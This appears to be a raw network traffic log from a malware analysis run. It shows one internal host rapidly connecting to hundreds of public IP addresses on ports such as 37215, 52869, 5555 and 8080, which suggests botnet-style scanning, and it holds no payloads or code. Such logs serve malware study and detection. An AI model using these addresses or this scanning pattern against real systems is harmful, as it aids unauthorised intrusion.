Feb 12, 2023 21:24:48.027424097 CET	52981	37215	192.168.2.23	157.244.72.254
Feb 12, 2023 21:24:48.027432919 CET	52981	37215	192.168.2.23	197.197.41.155
Feb 12, 2023 21:24:48.027466059 CET	52981	37215	192.168.2.23	9.226.199.198
Feb 12, 2023 21:24:48.027493954 CET	52981	37215	192.168.2.23	77.138.140.65
Feb 12, 2023 21:24:48.027543068 CET	52981	37215	192.168.2.23	197.186.14.176
Feb 12, 2023 21:24:48.027543068 CET	52981	37215	192.168.2.23	50.188.208.148
Feb 12, 2023 21:24:48.027564049 CET	52981	37215	192.168.2.23	41.18.51.122
Feb 12, 2023 21:24:48.027564049 CET	52981	37215	192.168.2.23	197.86.83.21
Feb 12, 2023 21:24:48.027582884 CET	52981	37215	192.168.2.23	59.97.254.42
Feb 12, 2023 21:24:48.027597904 CET	52981	37215	192.168.2.23	41.52.207.209
Feb 12, 2023 21:24:48.027631998 CET	52981	37215	192.168.2.23	41.217.1.73
Feb 12, 2023 21:24:48.027672052 CET	52981	37215	192.168.2.23	197.114.134.128
Feb 12, 2023 21:24:48.027672052 CET	52981	37215	192.168.2.23	197.109.244.214
Feb 12, 2023 21:24:48.027738094 CET	52981	37215	192.168.2.23	157.230.38.222
Feb 12, 2023 21:24:48.027780056 CET	52981	37215	192.168.2.23	181.49.177.71
Feb 12, 2023 21:24:48.027796984 CET	52981	37215	192.168.2.23	197.137.174.227
Feb 12, 2023 21:24:48.027800083 CET	52981	37215	192.168.2.23	144.64.112.19
Feb 12, 2023 21:24:48.027802944 CET	52981	37215	192.168.2.23	121.67.60.150
Feb 12, 2023 21:24:48.027832985 CET	52981	37215	192.168.2.23	88.32.6.241
Feb 12, 2023 21:24:48.027837992 CET	52981	37215	192.168.2.23	157.95.170.44
Feb 12, 2023 21:24:48.027837992 CET	52981	37215	192.168.2.23	197.217.149.138
Feb 12, 2023 21:24:48.027847052 CET	52981	37215	192.168.2.23	158.159.108.182
Feb 12, 2023 21:24:48.027879000 CET	52981	37215	192.168.2.23	157.183.9.169
Feb 12, 2023 21:24:48.027916908 CET	52981	37215	192.168.2.23	158.188.255.86
Feb 12, 2023 21:24:48.027919054 CET	52981	37215	192.168.2.23	38.36.211.192
Feb 12, 2023 21:24:48.027920961 CET	52981	37215	192.168.2.23	41.158.29.242
Feb 12, 2023 21:24:48.027959108 CET	52981	37215	192.168.2.23	84.62.250.80
Feb 12, 2023 21:24:48.027981997 CET	52981	37215	192.168.2.23	197.34.93.170
Feb 12, 2023 21:24:48.028004885 CET	52981	37215	192.168.2.23	157.21.223.74
Feb 12, 2023 21:24:48.028023958 CET	52981	37215	192.168.2.23	197.177.120.196
Feb 12, 2023 21:24:48.028042078 CET	52981	37215	192.168.2.23	197.28.17.12
Feb 12, 2023 21:24:48.028057098 CET	52981	37215	192.168.2.23	41.227.60.234
Feb 12, 2023 21:24:48.028089046 CET	52981	37215	192.168.2.23	157.72.20.37
Feb 12, 2023 21:24:48.028089046 CET	52981	37215	192.168.2.23	197.86.40.23
Feb 12, 2023 21:24:48.028095961 CET	52981	37215	192.168.2.23	42.214.159.64
Feb 12, 2023 21:24:48.028141975 CET	52981	37215	192.168.2.23	41.225.133.184
Feb 12, 2023 21:24:48.028156042 CET	52981	37215	192.168.2.23	197.181.146.218
Feb 12, 2023 21:24:48.028160095 CET	52981	37215	192.168.2.23	41.227.211.113
Feb 12, 2023 21:24:48.028202057 CET	52981	37215	192.168.2.23	165.250.160.232
Feb 12, 2023 21:24:48.028248072 CET	52981	37215	192.168.2.23	157.221.104.110
Feb 12, 2023 21:24:48.028249025 CET	52981	37215	192.168.2.23	197.143.171.139
Feb 12, 2023 21:24:48.028265953 CET	52981	37215	192.168.2.23	157.232.108.170
Feb 12, 2023 21:24:48.028301001 CET	52981	37215	192.168.2.23	157.114.39.242
Feb 12, 2023 21:24:48.028302908 CET	52981	37215	192.168.2.23	197.71.11.71
Feb 12, 2023 21:24:48.028302908 CET	52981	37215	192.168.2.23	41.196.175.242
Feb 12, 2023 21:24:48.028352022 CET	52981	37215	192.168.2.23	13.123.100.33
Feb 12, 2023 21:24:48.028386116 CET	52981	37215	192.168.2.23	197.39.204.105
Feb 12, 2023 21:24:48.028444052 CET	52981	37215	192.168.2.23	86.193.67.162
Feb 12, 2023 21:24:48.028444052 CET	52981	37215	192.168.2.23	197.205.113.67
Feb 12, 2023 21:24:48.028456926 CET	52981	37215	192.168.2.23	41.233.125.4
Feb 12, 2023 21:24:48.028456926 CET	52981	37215	192.168.2.23	41.159.116.46
Feb 12, 2023 21:24:48.028456926 CET	52981	37215	192.168.2.23	197.118.90.73
Feb 12, 2023 21:24:48.028462887 CET	52981	37215	192.168.2.23	157.136.225.186
Feb 12, 2023 21:24:48.028462887 CET	52981	37215	192.168.2.23	41.167.76.62
Feb 12, 2023 21:24:48.028456926 CET	52981	37215	192.168.2.23	140.214.186.234
Feb 12, 2023 21:24:48.028456926 CET	52981	37215	192.168.2.23	125.60.245.249
Feb 12, 2023 21:24:48.028467894 CET	52981	37215	192.168.2.23	13.130.10.22
Feb 12, 2023 21:24:48.028476954 CET	52981	37215	192.168.2.23	197.66.47.53
Feb 12, 2023 21:24:48.028476954 CET	52981	37215	192.168.2.23	108.149.24.217
Feb 12, 2023 21:24:48.028481960 CET	52981	37215	192.168.2.23	41.79.60.214
Feb 12, 2023 21:24:48.028491020 CET	52981	37215	192.168.2.23	41.168.94.129
Feb 12, 2023 21:24:48.028501034 CET	52981	37215	192.168.2.23	157.33.60.76
Feb 12, 2023 21:24:48.028503895 CET	52981	37215	192.168.2.23	197.110.118.165
Feb 12, 2023 21:24:48.028503895 CET	52981	37215	192.168.2.23	203.102.242.84
Feb 12, 2023 21:24:48.028503895 CET	52981	37215	192.168.2.23	41.152.96.182
Feb 12, 2023 21:24:48.028517962 CET	52981	37215	192.168.2.23	41.3.228.235
Feb 12, 2023 21:24:48.028529882 CET	52981	37215	192.168.2.23	197.20.192.195
Feb 12, 2023 21:24:48.028532982 CET	52981	37215	192.168.2.23	172.128.120.188
Feb 12, 2023 21:24:48.028539896 CET	52981	37215	192.168.2.23	41.4.223.244
Feb 12, 2023 21:24:48.028573990 CET	52981	37215	192.168.2.23	41.45.24.116
Feb 12, 2023 21:24:48.028575897 CET	52981	37215	192.168.2.23	157.160.46.122
Feb 12, 2023 21:24:48.028573990 CET	52981	37215	192.168.2.23	41.142.35.74
Feb 12, 2023 21:24:48.028573990 CET	52981	37215	192.168.2.23	197.146.23.229
Feb 12, 2023 21:24:48.028573990 CET	52981	37215	192.168.2.23	197.68.8.219
Feb 12, 2023 21:24:48.028573990 CET	52981	37215	192.168.2.23	41.51.177.189
Feb 12, 2023 21:24:48.028573990 CET	52981	37215	192.168.2.23	158.225.199.36
Feb 12, 2023 21:24:48.028573990 CET	52981	37215	192.168.2.23	50.60.54.243
Feb 12, 2023 21:24:48.028601885 CET	52981	37215	192.168.2.23	200.52.177.201
Feb 12, 2023 21:24:48.028615952 CET	52981	37215	192.168.2.23	157.179.211.132
Feb 12, 2023 21:24:48.028670073 CET	52981	37215	192.168.2.23	96.123.239.78
Feb 12, 2023 21:24:48.028675079 CET	52981	37215	192.168.2.23	96.177.66.213
Feb 12, 2023 21:24:48.028693914 CET	52981	37215	192.168.2.23	221.191.74.175
Feb 12, 2023 21:24:48.028702974 CET	52981	37215	192.168.2.23	157.186.238.231
Feb 12, 2023 21:24:48.028702974 CET	52981	37215	192.168.2.23	197.220.147.218
Feb 12, 2023 21:24:48.028703928 CET	52981	37215	192.168.2.23	157.62.66.215
Feb 12, 2023 21:24:48.028739929 CET	52981	37215	192.168.2.23	197.242.48.30
Feb 12, 2023 21:24:48.028750896 CET	52981	37215	192.168.2.23	157.0.249.147
Feb 12, 2023 21:24:48.028753996 CET	52981	37215	192.168.2.23	41.133.124.149
Feb 12, 2023 21:24:48.028793097 CET	52981	37215	192.168.2.23	197.240.218.31
Feb 12, 2023 21:24:48.028793097 CET	52981	37215	192.168.2.23	197.250.135.176
Feb 12, 2023 21:24:48.028831005 CET	52981	37215	192.168.2.23	197.137.83.184
Feb 12, 2023 21:24:48.028841972 CET	52981	37215	192.168.2.23	157.202.103.205
Feb 12, 2023 21:24:48.028841972 CET	52981	37215	192.168.2.23	157.105.229.77
Feb 12, 2023 21:24:48.028862000 CET	52981	37215	192.168.2.23	204.83.139.23
Feb 12, 2023 21:24:48.028892040 CET	52981	37215	192.168.2.23	5.133.108.88
Feb 12, 2023 21:24:48.028898001 CET	52981	37215	192.168.2.23	157.93.252.207
Feb 12, 2023 21:24:48.028951883 CET	52981	37215	192.168.2.23	197.209.18.10
Feb 12, 2023 21:24:48.028959036 CET	52981	37215	192.168.2.23	157.129.107.246
Feb 12, 2023 21:24:48.028973103 CET	52981	37215	192.168.2.23	157.62.177.120
Feb 12, 2023 21:24:48.028996944 CET	52981	37215	192.168.2.23	157.47.249.80
Feb 12, 2023 21:24:48.029017925 CET	52981	37215	192.168.2.23	157.205.31.223
Feb 12, 2023 21:24:48.029041052 CET	52981	37215	192.168.2.23	197.236.38.235
Feb 12, 2023 21:24:48.029064894 CET	52981	37215	192.168.2.23	197.3.246.184
Feb 12, 2023 21:24:48.029072046 CET	52981	37215	192.168.2.23	197.92.212.112
Feb 12, 2023 21:24:48.029077053 CET	52981	37215	192.168.2.23	206.33.70.205
Feb 12, 2023 21:24:48.029102087 CET	52981	37215	192.168.2.23	41.152.110.108
Feb 12, 2023 21:24:48.029122114 CET	52981	37215	192.168.2.23	197.251.191.117
Feb 12, 2023 21:24:48.029170036 CET	52981	37215	192.168.2.23	197.186.21.97
Feb 12, 2023 21:24:48.029196024 CET	52981	37215	192.168.2.23	41.126.30.215
Feb 12, 2023 21:24:48.029201984 CET	52981	37215	192.168.2.23	157.32.131.152
Feb 12, 2023 21:24:48.029266119 CET	52981	37215	192.168.2.23	197.167.59.158
Feb 12, 2023 21:24:48.029268980 CET	52981	37215	192.168.2.23	41.43.36.34
Feb 12, 2023 21:24:48.029277086 CET	52981	37215	192.168.2.23	41.233.232.124
Feb 12, 2023 21:24:48.029289007 CET	52981	37215	192.168.2.23	41.34.72.236
Feb 12, 2023 21:24:48.029298067 CET	52981	37215	192.168.2.23	157.227.170.97
Feb 12, 2023 21:24:48.029314041 CET	52981	37215	192.168.2.23	83.104.190.54
Feb 12, 2023 21:24:48.029356003 CET	52981	37215	192.168.2.23	157.117.160.114
Feb 12, 2023 21:24:48.029385090 CET	52981	37215	192.168.2.23	157.152.228.187
Feb 12, 2023 21:24:48.029405117 CET	52981	37215	192.168.2.23	197.43.116.154
Feb 12, 2023 21:24:48.029406071 CET	52981	37215	192.168.2.23	157.2.29.143
Feb 12, 2023 21:24:48.029426098 CET	52981	37215	192.168.2.23	184.49.238.64
Feb 12, 2023 21:24:48.029460907 CET	52981	37215	192.168.2.23	157.87.238.155
Feb 12, 2023 21:24:48.029489040 CET	52981	37215	192.168.2.23	197.207.9.38
Feb 12, 2023 21:24:48.029520035 CET	52981	37215	192.168.2.23	197.131.233.248
Feb 12, 2023 21:24:48.029541969 CET	52981	37215	192.168.2.23	197.2.72.39
Feb 12, 2023 21:24:48.029551029 CET	52981	37215	192.168.2.23	41.170.93.141
Feb 12, 2023 21:24:48.029587030 CET	52981	37215	192.168.2.23	9.148.101.52
Feb 12, 2023 21:24:48.029597998 CET	52981	37215	192.168.2.23	197.248.62.247
Feb 12, 2023 21:24:48.029597998 CET	52981	37215	192.168.2.23	157.34.103.127
Feb 12, 2023 21:24:48.029612064 CET	52981	37215	192.168.2.23	197.158.52.42
Feb 12, 2023 21:24:48.029618979 CET	52981	37215	192.168.2.23	197.7.87.89
Feb 12, 2023 21:24:48.029644966 CET	52981	37215	192.168.2.23	41.226.164.106
Feb 12, 2023 21:24:48.029674053 CET	52981	37215	192.168.2.23	197.4.154.106
Feb 12, 2023 21:24:48.029721975 CET	52981	37215	192.168.2.23	197.68.174.8
Feb 12, 2023 21:24:48.029747009 CET	52981	37215	192.168.2.23	197.40.39.236
Feb 12, 2023 21:24:48.029771090 CET	52981	37215	192.168.2.23	41.106.12.61
Feb 12, 2023 21:24:48.029798985 CET	52981	37215	192.168.2.23	170.38.67.250
Feb 12, 2023 21:24:48.029808044 CET	52981	37215	192.168.2.23	41.52.237.10
Feb 12, 2023 21:24:48.029818058 CET	52981	37215	192.168.2.23	206.94.20.236
Feb 12, 2023 21:24:48.029838085 CET	52981	37215	192.168.2.23	197.177.165.148
Feb 12, 2023 21:24:48.029848099 CET	52981	37215	192.168.2.23	197.142.135.107
Feb 12, 2023 21:24:48.029870987 CET	52981	37215	192.168.2.23	190.213.143.42
Feb 12, 2023 21:24:48.029870987 CET	52981	37215	192.168.2.23	197.121.250.115
Feb 12, 2023 21:24:48.029884100 CET	52981	37215	192.168.2.23	41.138.221.170
Feb 12, 2023 21:24:48.029906034 CET	52981	37215	192.168.2.23	157.147.246.196
Feb 12, 2023 21:24:48.029927969 CET	52981	37215	192.168.2.23	197.5.198.236
Feb 12, 2023 21:24:48.029958010 CET	52981	37215	192.168.2.23	41.199.182.40
Feb 12, 2023 21:24:48.029999971 CET	52981	37215	192.168.2.23	197.106.216.216
Feb 12, 2023 21:24:48.030009031 CET	52981	37215	192.168.2.23	27.110.87.249
Feb 12, 2023 21:24:48.030029058 CET	52981	37215	192.168.2.23	62.5.131.253
Feb 12, 2023 21:24:48.030066013 CET	52981	37215	192.168.2.23	182.203.250.32
Feb 12, 2023 21:24:48.030088902 CET	52981	37215	192.168.2.23	197.44.20.35
Feb 12, 2023 21:24:48.030095100 CET	52981	37215	192.168.2.23	157.217.45.147
Feb 12, 2023 21:24:48.030136108 CET	52981	37215	192.168.2.23	197.170.207.85
Feb 12, 2023 21:24:48.030149937 CET	52981	37215	192.168.2.23	209.209.165.177
Feb 12, 2023 21:24:48.030750990 CET	52981	37215	192.168.2.23	41.244.25.230
Feb 12, 2023 21:24:48.052728891 CET	5555	22272	14.53.85.7	192.168.2.23
Feb 12, 2023 21:24:48.080241919 CET	37215	52981	41.227.27.137	192.168.2.23
Feb 12, 2023 21:24:48.096429110 CET	37215	52981	5.133.108.88	192.168.2.23
Feb 12, 2023 21:24:48.103028059 CET	37215	52981	197.39.204.105	192.168.2.23
Feb 12, 2023 21:24:48.115880013 CET	37215	52981	77.138.140.65	192.168.2.23
Feb 12, 2023 21:24:48.121443033 CET	37215	52981	197.4.154.106	192.168.2.23
Feb 12, 2023 21:24:48.136718035 CET	37215	48072	49.51.52.46	192.168.2.23
Feb 12, 2023 21:24:48.143774033 CET	59980	80	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:48.174573898 CET	37215	52981	157.21.223.74	192.168.2.23
Feb 12, 2023 21:24:48.239805937 CET	46916	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:48.239811897 CET	60838	80	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:48.239845991 CET	48374	80	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:48.239864111 CET	54934	80	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:48.239871979 CET	38098	80	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:48.239864111 CET	42800	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:48.239873886 CET	60786	80	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:48.239864111 CET	40822	80	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:48.239934921 CET	43526	80	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:48.239990950 CET	49920	80	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:48.248473883 CET	37215	52981	179.157.165.250	192.168.2.23
Feb 12, 2023 21:24:48.271752119 CET	34826	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:48.271775961 CET	35624	52869	192.168.2.23	54.49.46.50
Feb 12, 2023 21:24:48.271780968 CET	47734	52869	192.168.2.23	50.51.49.46
Feb 12, 2023 21:24:48.271780968 CET	53888	52869	192.168.2.23	56.50.46.50
Feb 12, 2023 21:24:48.271789074 CET	50870	52869	192.168.2.23	49.46.50.52
Feb 12, 2023 21:24:48.271791935 CET	43466	52869	192.168.2.23	56.55.46.49
Feb 12, 2023 21:24:48.271795988 CET	43230	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:48.271862984 CET	55348	52869	192.168.2.23	52.52.46.49
Feb 12, 2023 21:24:48.284111977 CET	50362	7574	192.168.2.23	49.51.52.46
Feb 12, 2023 21:24:48.303788900 CET	35910	52869	192.168.2.23	56.52.46.49
Feb 12, 2023 21:24:48.330250025 CET	37215	52981	112.151.126.209	192.168.2.23
Feb 12, 2023 21:24:48.335186005 CET	37215	52981	121.67.60.150	192.168.2.23
Feb 12, 2023 21:24:48.431832075 CET	52214	81	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:48.455678940 CET	7574	50362	49.51.52.46	192.168.2.23
Feb 12, 2023 21:24:48.456274986 CET	38022	5555	192.168.2.23	49.51.52.46
Feb 12, 2023 21:24:48.495863914 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:48.588460922 CET	36318	80	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:48.591734886 CET	41022	8080	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:48.591767073 CET	33952	8080	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:48.591767073 CET	49748	8080	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:48.623790979 CET	50188	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:48.623791933 CET	36850	8080	192.168.2.23	49.50.46.50
Feb 12, 2023 21:24:48.623790979 CET	45326	8080	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:48.623800993 CET	39972	8080	192.168.2.23	50.49.53.46
Feb 12, 2023 21:24:48.626420021 CET	5555	38022	49.51.52.46	192.168.2.23
Feb 12, 2023 21:24:48.655730963 CET	37294	8080	192.168.2.23	50.57.46.50
Feb 12, 2023 21:24:48.751777887 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:48.751878977 CET	39806	80	192.168.2.23	51.52.46.49
Feb 12, 2023 21:24:48.794071913 CET	22272	5555	192.168.2.23	217.20.216.65
Feb 12, 2023 21:24:48.794075012 CET	22272	5555	192.168.2.23	135.187.216.235
Feb 12, 2023 21:24:48.794092894 CET	22272	5555	192.168.2.23	153.143.44.235
Feb 12, 2023 21:24:48.794159889 CET	22272	5555	192.168.2.23	120.148.92.191
Feb 12, 2023 21:24:48.794162989 CET	22272	5555	192.168.2.23	179.134.114.59
Feb 12, 2023 21:24:48.794171095 CET	22272	5555	192.168.2.23	187.238.223.113
Feb 12, 2023 21:24:48.794186115 CET	22272	5555	192.168.2.23	139.33.196.38
Feb 12, 2023 21:24:48.794186115 CET	22272	5555	192.168.2.23	81.228.113.100
Feb 12, 2023 21:24:48.794217110 CET	22272	5555	192.168.2.23	217.116.7.102
Feb 12, 2023 21:24:48.794244051 CET	22272	5555	192.168.2.23	96.42.4.139
Feb 12, 2023 21:24:48.794259071 CET	22272	5555	192.168.2.23	186.234.95.241
Feb 12, 2023 21:24:48.794285059 CET	22272	5555	192.168.2.23	118.168.86.104
Feb 12, 2023 21:24:48.794289112 CET	22272	5555	192.168.2.23	113.118.189.250
Feb 12, 2023 21:24:48.794315100 CET	22272	5555	192.168.2.23	137.8.13.144
Feb 12, 2023 21:24:48.794325113 CET	22272	5555	192.168.2.23	128.148.20.13
Feb 12, 2023 21:24:48.794393063 CET	22272	5555	192.168.2.23	98.11.119.179
Feb 12, 2023 21:24:48.794393063 CET	22272	5555	192.168.2.23	121.237.77.230
Feb 12, 2023 21:24:48.794409037 CET	22272	5555	192.168.2.23	194.125.184.83
Feb 12, 2023 21:24:48.794413090 CET	22272	5555	192.168.2.23	117.38.218.82
Feb 12, 2023 21:24:48.794414997 CET	22272	5555	192.168.2.23	62.120.175.117
Feb 12, 2023 21:24:48.794423103 CET	22272	5555	192.168.2.23	155.168.133.106
Feb 12, 2023 21:24:48.794456005 CET	22272	5555	192.168.2.23	91.14.159.49
Feb 12, 2023 21:24:48.794461966 CET	22272	5555	192.168.2.23	160.13.203.226
Feb 12, 2023 21:24:48.794466972 CET	22272	5555	192.168.2.23	116.40.208.248
Feb 12, 2023 21:24:48.794497013 CET	22272	5555	192.168.2.23	79.154.43.184
Feb 12, 2023 21:24:48.794498920 CET	22272	5555	192.168.2.23	137.40.158.18
Feb 12, 2023 21:24:48.794506073 CET	22272	5555	192.168.2.23	77.116.4.55
Feb 12, 2023 21:24:48.794547081 CET	22272	5555	192.168.2.23	34.100.49.242
Feb 12, 2023 21:24:48.794584036 CET	22272	5555	192.168.2.23	165.2.99.219
Feb 12, 2023 21:24:48.794595003 CET	22272	5555	192.168.2.23	98.15.178.245
Feb 12, 2023 21:24:48.794632912 CET	22272	5555	192.168.2.23	97.83.156.116
Feb 12, 2023 21:24:48.794644117 CET	22272	5555	192.168.2.23	201.96.230.47
Feb 12, 2023 21:24:48.794656992 CET	22272	5555	192.168.2.23	160.29.165.163
Feb 12, 2023 21:24:48.794658899 CET	22272	5555	192.168.2.23	90.131.105.70
Feb 12, 2023 21:24:48.794670105 CET	22272	5555	192.168.2.23	189.166.144.18
Feb 12, 2023 21:24:48.794670105 CET	22272	5555	192.168.2.23	151.53.78.199
Feb 12, 2023 21:24:48.794671059 CET	22272	5555	192.168.2.23	155.72.240.44
Feb 12, 2023 21:24:48.794681072 CET	22272	5555	192.168.2.23	103.253.42.86
Feb 12, 2023 21:24:48.794696093 CET	22272	5555	192.168.2.23	160.90.182.160
Feb 12, 2023 21:24:48.794696093 CET	22272	5555	192.168.2.23	151.54.91.16
Feb 12, 2023 21:24:48.794696093 CET	22272	5555	192.168.2.23	223.40.138.93
Feb 12, 2023 21:24:48.794725895 CET	22272	5555	192.168.2.23	48.225.235.17
Feb 12, 2023 21:24:48.794732094 CET	22272	5555	192.168.2.23	49.174.109.78
Feb 12, 2023 21:24:48.794732094 CET	22272	5555	192.168.2.23	146.7.21.213
Feb 12, 2023 21:24:48.794732094 CET	22272	5555	192.168.2.23	146.219.6.182
Feb 12, 2023 21:24:48.794737101 CET	22272	5555	192.168.2.23	155.70.253.90
Feb 12, 2023 21:24:48.794742107 CET	22272	5555	192.168.2.23	219.111.73.5
Feb 12, 2023 21:24:48.794799089 CET	22272	5555	192.168.2.23	163.128.214.161
Feb 12, 2023 21:24:48.794801950 CET	22272	5555	192.168.2.23	5.76.58.195
Feb 12, 2023 21:24:48.794807911 CET	22272	5555	192.168.2.23	130.65.16.233
Feb 12, 2023 21:24:48.794817924 CET	22272	5555	192.168.2.23	178.115.102.116
Feb 12, 2023 21:24:48.794817924 CET	22272	5555	192.168.2.23	125.212.11.186
Feb 12, 2023 21:24:48.794867992 CET	22272	5555	192.168.2.23	178.61.223.77
Feb 12, 2023 21:24:48.794874907 CET	22272	5555	192.168.2.23	211.76.189.205
Feb 12, 2023 21:24:48.794891119 CET	22272	5555	192.168.2.23	131.184.87.205
Feb 12, 2023 21:24:48.794893026 CET	22272	5555	192.168.2.23	73.129.89.10
Feb 12, 2023 21:24:48.794955969 CET	22272	5555	192.168.2.23	151.93.200.222
Feb 12, 2023 21:24:48.794958115 CET	22272	5555	192.168.2.23	181.119.141.232
Feb 12, 2023 21:24:48.794967890 CET	22272	5555	192.168.2.23	174.242.67.183
Feb 12, 2023 21:24:48.794987917 CET	22272	5555	192.168.2.23	53.116.112.221
Feb 12, 2023 21:24:48.795034885 CET	22272	5555	192.168.2.23	27.215.144.193
Feb 12, 2023 21:24:48.795049906 CET	22272	5555	192.168.2.23	95.133.78.146
Feb 12, 2023 21:24:48.795049906 CET	22272	5555	192.168.2.23	190.123.185.237
Feb 12, 2023 21:24:48.795049906 CET	22272	5555	192.168.2.23	208.123.95.199
Feb 12, 2023 21:24:48.795191050 CET	22272	5555	192.168.2.23	187.3.19.65
Feb 12, 2023 21:24:48.795201063 CET	22272	5555	192.168.2.23	139.59.135.122
Feb 12, 2023 21:24:48.795202017 CET	22272	5555	192.168.2.23	155.73.221.166
Feb 12, 2023 21:24:48.795208931 CET	22272	5555	192.168.2.23	90.100.13.167
Feb 12, 2023 21:24:48.795208931 CET	22272	5555	192.168.2.23	34.15.9.170
Feb 12, 2023 21:24:48.795208931 CET	22272	5555	192.168.2.23	117.202.143.16
Feb 12, 2023 21:24:48.795208931 CET	22272	5555	192.168.2.23	179.218.79.0
Feb 12, 2023 21:24:48.795208931 CET	22272	5555	192.168.2.23	173.52.99.215
Feb 12, 2023 21:24:48.795208931 CET	22272	5555	192.168.2.23	72.183.60.44
Feb 12, 2023 21:24:48.795218945 CET	22272	5555	192.168.2.23	57.119.252.100
Feb 12, 2023 21:24:48.795218945 CET	22272	5555	192.168.2.23	134.249.52.252
Feb 12, 2023 21:24:48.795221090 CET	22272	5555	192.168.2.23	156.255.1.175
Feb 12, 2023 21:24:48.795221090 CET	22272	5555	192.168.2.23	136.197.29.81
Feb 12, 2023 21:24:48.795222044 CET	22272	5555	192.168.2.23	84.171.67.199
Feb 12, 2023 21:24:48.795221090 CET	22272	5555	192.168.2.23	58.190.252.63
Feb 12, 2023 21:24:48.795222044 CET	22272	5555	192.168.2.23	131.192.98.136
Feb 12, 2023 21:24:48.795221090 CET	22272	5555	192.168.2.23	123.145.200.220
Feb 12, 2023 21:24:48.795221090 CET	22272	5555	192.168.2.23	19.131.188.177
Feb 12, 2023 21:24:48.795228004 CET	22272	5555	192.168.2.23	124.189.65.126
Feb 12, 2023 21:24:48.795228004 CET	22272	5555	192.168.2.23	97.238.29.187
Feb 12, 2023 21:24:48.795253992 CET	22272	5555	192.168.2.23	53.208.212.193
Feb 12, 2023 21:24:48.795264959 CET	22272	5555	192.168.2.23	149.133.30.18
Feb 12, 2023 21:24:48.795264959 CET	22272	5555	192.168.2.23	71.26.215.151
Feb 12, 2023 21:24:48.795264959 CET	22272	5555	192.168.2.23	13.121.133.28
Feb 12, 2023 21:24:48.795264959 CET	22272	5555	192.168.2.23	187.84.251.76
Feb 12, 2023 21:24:48.795270920 CET	22272	5555	192.168.2.23	159.23.215.231
Feb 12, 2023 21:24:48.795270920 CET	22272	5555	192.168.2.23	72.226.56.217
Feb 12, 2023 21:24:48.795270920 CET	22272	5555	192.168.2.23	219.7.235.157
Feb 12, 2023 21:24:48.795270920 CET	22272	5555	192.168.2.23	218.151.104.235
Feb 12, 2023 21:24:48.795270920 CET	22272	5555	192.168.2.23	87.155.198.145
Feb 12, 2023 21:24:48.795279980 CET	22272	5555	192.168.2.23	120.184.52.79
Feb 12, 2023 21:24:48.795295954 CET	22272	5555	192.168.2.23	93.94.81.190
Feb 12, 2023 21:24:48.795295954 CET	22272	5555	192.168.2.23	153.12.28.200
Feb 12, 2023 21:24:48.795295954 CET	22272	5555	192.168.2.23	72.52.47.103
Feb 12, 2023 21:24:48.795303106 CET	22272	5555	192.168.2.23	157.195.126.198
Feb 12, 2023 21:24:48.795303106 CET	22272	5555	192.168.2.23	190.215.110.115
Feb 12, 2023 21:24:48.795310020 CET	22272	5555	192.168.2.23	31.64.11.141
Feb 12, 2023 21:24:48.795315027 CET	22272	5555	192.168.2.23	122.198.212.75
Feb 12, 2023 21:24:48.795317888 CET	22272	5555	192.168.2.23	69.180.56.155
Feb 12, 2023 21:24:48.795320988 CET	22272	5555	192.168.2.23	35.123.187.3
Feb 12, 2023 21:24:48.795317888 CET	22272	5555	192.168.2.23	121.64.28.3
Feb 12, 2023 21:24:48.795317888 CET	22272	5555	192.168.2.23	139.246.102.253
Feb 12, 2023 21:24:48.795317888 CET	22272	5555	192.168.2.23	195.106.113.149
Feb 12, 2023 21:24:48.795325994 CET	22272	5555	192.168.2.23	151.48.134.104
Feb 12, 2023 21:24:48.795317888 CET	22272	5555	192.168.2.23	96.50.116.213
Feb 12, 2023 21:24:48.795317888 CET	22272	5555	192.168.2.23	138.14.186.139
Feb 12, 2023 21:24:48.795325994 CET	22272	5555	192.168.2.23	180.206.198.197
Feb 12, 2023 21:24:48.795319080 CET	22272	5555	192.168.2.23	220.218.31.119
Feb 12, 2023 21:24:48.795325994 CET	22272	5555	192.168.2.23	37.229.158.246
Feb 12, 2023 21:24:48.795334101 CET	22272	5555	192.168.2.23	82.38.74.115
Feb 12, 2023 21:24:48.795361042 CET	22272	5555	192.168.2.23	145.76.41.241
Feb 12, 2023 21:24:48.795361042 CET	22272	5555	192.168.2.23	92.173.254.252
Feb 12, 2023 21:24:48.795361042 CET	22272	5555	192.168.2.23	83.175.218.205
Feb 12, 2023 21:24:48.795361042 CET	22272	5555	192.168.2.23	113.242.248.63
Feb 12, 2023 21:24:48.795361042 CET	22272	5555	192.168.2.23	37.120.124.195
Feb 12, 2023 21:24:48.795361042 CET	22272	5555	192.168.2.23	97.11.237.235
Feb 12, 2023 21:24:48.795388937 CET	22272	5555	192.168.2.23	42.91.126.126
Feb 12, 2023 21:24:48.795388937 CET	22272	5555	192.168.2.23	90.27.156.29
Feb 12, 2023 21:24:48.795465946 CET	22272	5555	192.168.2.23	110.143.24.65
Feb 12, 2023 21:24:48.795466900 CET	22272	5555	192.168.2.23	77.140.1.131
Feb 12, 2023 21:24:48.795466900 CET	22272	5555	192.168.2.23	124.181.92.67
Feb 12, 2023 21:24:48.795475006 CET	22272	5555	192.168.2.23	53.93.209.21
Feb 12, 2023 21:24:48.795484066 CET	22272	5555	192.168.2.23	107.18.9.137
Feb 12, 2023 21:24:48.795500994 CET	22272	5555	192.168.2.23	194.28.0.199
Feb 12, 2023 21:24:48.795525074 CET	22272	5555	192.168.2.23	19.122.130.178
